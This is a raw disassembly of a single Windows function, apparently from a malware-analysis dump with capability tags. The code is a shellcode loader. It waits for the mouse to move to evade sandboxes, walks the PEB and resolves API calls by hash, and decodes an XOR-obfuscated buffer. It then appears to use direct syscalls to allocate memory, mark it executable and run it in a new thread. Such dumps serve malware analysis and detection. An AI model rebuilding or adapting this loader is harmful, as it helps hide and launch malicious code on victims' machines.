Function at 0x140004530
Capabilities:
Access peb ldr_data
Check for unmoving mouse cursor
Encode data using xor
Parse pe header

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x228
mov rax, qword [0x14002a010]
xor rax, rsp
mov qword [rsp + 0x220], rax
stmxcsr dword [rsp + 0x100]
or dword [rsp + 0x100], 0x8040
ldmxcsr dword [rsp + 0x100]
mov rsi, qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0xd0]
call rsi
lea rdx, str.ERROR
xor ecx, ecx
mov r8, rdx
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rsp + 0xc8]
call rsi
mov eax, dword [rsp + 0xd0]
cmp eax, dword [rsp + 0xc8]
jne 0x1400045c9
mov eax, dword [rsp + 0xd4]
cmp eax, dword [rsp + 0xcc]
jne 0x1400045c9
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call rsi
jmp 0x1400045c0
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rbx, qword [rax]
mov rcx, qword [rbx + 0x20]
movzx eax, word [rcx]
mov esi, 1
cmp eax, 0x5a4d
jne 0x140004b42
movsxd rax, dword [rcx + 0x3c]
cmp dword [rcx + rax], 0x4550
jne 0x140004b42
add rax, rcx
mov edi, dword [rax + 0x88]
add rdi, rcx
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmmword [rsp + 0xa0], xmm0
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmmword [rsp + 0x70], xmm0
movabs rax, 0xf5bd373480a6b89b
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x60]
mov rdx, rdi
call fcn.140004b70
mov esi, 1
test eax, eax
je 0x140004b42
lea r8, [rsp + 0x90]
movabs rax, 0x64dc7db288c5015f
mov qword [rsp + 0x98], rax
mov rcx, qword [rbx + 0x20]
mov rdx, rdi
call fcn.140004b70
test eax, eax
je 0x140004b42
lea r8, [rsp + 0x78]
movabs rax, 0x858bcb1046fb6a37
mov qword [rsp + 0x80], rax
mov rcx, qword [rbx + 0x20]
mov rdx, rdi
call fcn.140004b70
test eax, eax
je 0x140004b42
lea r8, [rsp + 0xa8]
movabs rax, 0xc6a2fa174e551bcb
mov qword [rsp + 0xb0], rax
mov rcx, qword [rbx + 0x20]
mov rdx, rdi
call fcn.140004b70
test eax, eax
je 0x140004b42
lea rdx, [0x140022f10]
lea rcx, [rsp + 0x100]
mov r8d, 0x112
call fcn.140004dd0
movdqa xmm0, xmmword [0x140022ed0]
movdqa xmm2, xmmword [rsp + 0x100]
paddb xmm2, xmm0
movdqa xmm3, xmmword [rsp + 0x110]
paddb xmm3, xmm0
movdqa xmm1, xmmword [0x140022ee0]
pxor xmm2, xmm1
pxor xmm3, xmm1
movdqa xmmword [rsp + 0x100], xmm2
movdqa xmmword [rsp + 0x110], xmm3
movdqa xmm2, xmmword [rsp + 0x120]
paddb xmm2, xmm0
movdqa xmm3, xmmword [rsp + 0x130]
paddb xmm3, xmm0
pxor xmm2, xmm1
pxor xmm3, xmm1
movdqa xmmword [rsp + 0x120], xmm2
movdqa xmmword [rsp + 0x130], xmm3
movdqa xmm2, xmmword [rsp + 0x140]
paddb xmm2, xmm0
movdqa xmm3, xmmword [rsp + 0x150]
paddb xmm3, xmm0
pxor xmm2, xmm1
pxor xmm3, xmm1
movdqa xmmword [rsp + 0x140], xmm2
movdqa xmmword [rsp + 0x150], xmm3
movdqa xmm2, xmmword [rsp + 0x160]
paddb xmm2, xmm0
movdqa xmm3, xmmword [rsp + 0x170]
paddb xmm3, xmm0
pxor xmm2, xmm1
pxor xmm3, xmm1
movdqa xmmword [rsp + 0x160], xmm2
movdqa xmmword [rsp + 0x170], xmm3
movdqa xmm2, xmmword [rsp + 0x180]
paddb xmm2, xmm0
movdqa xmm3, xmmword [rsp + 0x190]
paddb xmm3, xmm0
pxor xmm2, xmm1
pxor xmm3, xmm1
movdqa xmmword [rsp + 0x180], xmm2
movdqa xmmword [rsp + 0x190], xmm3
movdqa xmm2, xmmword [rsp + 0x1a0]
paddb xmm2, xmm0
movdqa xmm3, xmmword [rsp + 0x1b0]
paddb xmm3, xmm0
pxor xmm2, xmm1
pxor xmm3, xmm1
movdqa xmmword [rsp + 0x1a0], xmm2
movdqa xmmword [rsp + 0x1b0], xmm3
movdqa xmm2, xmmword [rsp + 0x1c0]
paddb xmm2, xmm0
movdqa xmm3, xmmword [rsp + 0x1d0]
paddb xmm3, xmm0
pxor xmm2, xmm1
pxor xmm3, xmm1
movdqa xmmword [rsp + 0x1c0], xmm2
movdqa xmmword [rsp + 0x1d0], xmm3
movdqa xmm2, xmmword [rsp + 0x1e0]
paddb xmm2, xmm0
paddb xmm0, xmmword [rsp + 0x1f0]
pxor xmm2, xmm1
pxor xmm0, xmm1
movdqa xmmword [rsp + 0x1e0], xmm2
movdqa xmmword [rsp + 0x1f0], xmm0
movdqa xmm0, xmmword [rsp + 0x200]
pshufd xmm1, xmm0, 0xee
movdqa xmm2, xmmword [0x140022ef0]
paddb xmm0, xmm2
movdqa xmm3, xmmword [0x140022f00]
pxor xmm0, xmm3
paddb xmm1, xmm2
pxor xmm1, xmm3
punpcklqdq xmm0, xmm1
movdqa xmmword [rsp + 0x200], xmm0
mov eax, 0x110
nop
movzx ecx, byte [rsp + rax + 0x100]
add cl, 0xfe
xor cl, 0x7b
mov byte [rsp + rax + 0x100], cl
inc rax
cmp rax, 0x112
jne 0x140004900
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0xf0], 0x112
movzx ecx, word [rsp + 0x74]
call fcn.140008ba0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea rdi, [rsp + 0xf8]
xor esi, esi
lea rbx, [rsp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rdi
xor r8d, r8d
mov r9, rbx
call fcn.140008bb3
mov rcx, qword [rsp + 0xf8]
lea rdx, [rsp + 0x100]
mov r8d, 0x112
call fcn.140004dd0
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov dword [rsp + 0xec], 0
movzx ecx, word [rsp + 0x8c]
call fcn.140008ba0
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
lea rax, [rsp + 0xec]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rdi
mov r8, rbx
mov r9d, 0x20
call fcn.140008bb3
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov qword [rsp + 0xe0], 0xffffffffffffffff
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
movzx ecx, word [rsp + 0xa4]
call fcn.140008ba0
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov rax, qword [rsp + 0xf8]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0xe0]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call fcn.140008bb3
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov qword [rsp + 0xd8], 0xffffffffff676980
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
movzx ecx, word [rsp + 0xbc]
call fcn.140008ba0
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov rcx, qword [rsp + 0xe0]
lea r8, [rsp + 0xd8]
xor edx, edx
call fcn.140008bb3
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.14000ee00
mov eax, esi
add rsp, 0x228
pop rbx
pop rdi
pop rsi
pop r14
ret